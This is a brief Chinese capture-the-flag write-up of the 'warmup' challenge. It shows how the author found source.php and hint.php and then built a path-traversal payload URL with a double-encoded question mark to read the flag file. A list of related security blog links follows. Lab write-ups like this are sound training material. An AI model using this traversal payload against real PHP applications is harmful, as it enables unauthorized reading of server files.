原题
解题思路
只有一张图片，就查看源代码，有一个source.php。
查看source.php，白名单中还有一个hint.php。
hint.php告诉我们flag的位置ffffllllaaaagggg
但是直接跳转是没用的，构造payload。
http://61.147.171.105:55725/source.php?file=source.php%253f/../../../../../../ffffllllaaaagggg
攻防世界-warmup
mysmartwish2023-08-20 23:17
原题
相关推荐
大方子1 天前
【PolarCTF】rce1枷锁—sha1 天前
Burp Suite 抓包全流程与 Xray 联动自动挖洞指南聚铭网络1 天前
聚铭网络再度入选2026年度扬州市网络和数据安全服务资源池单位darkb1rd1 天前
八、PHP SAPI与运行环境差异世界尽头与你1 天前
（修复方案）基础目录枚举漏洞枷锁—sha2 天前
【SRC】SQL注入快速判定与应对策略（一）liann1192 天前
3.1_网络——基础ESBK20252 天前
第四届移动互联网、云计算与信息安全国际会议（MICCIS 2026）二轮征稿启动，诚邀全球学者共赴学术盛宴旺仔Sec2 天前
一文带你看懂免费开源 WAF 天花板！雷池 (SafeLine) 部署与实战全解析七牛云行业应用2 天前
Moltbook一夜崩盘：150万密钥泄露背后的架构“死穴”与重构实战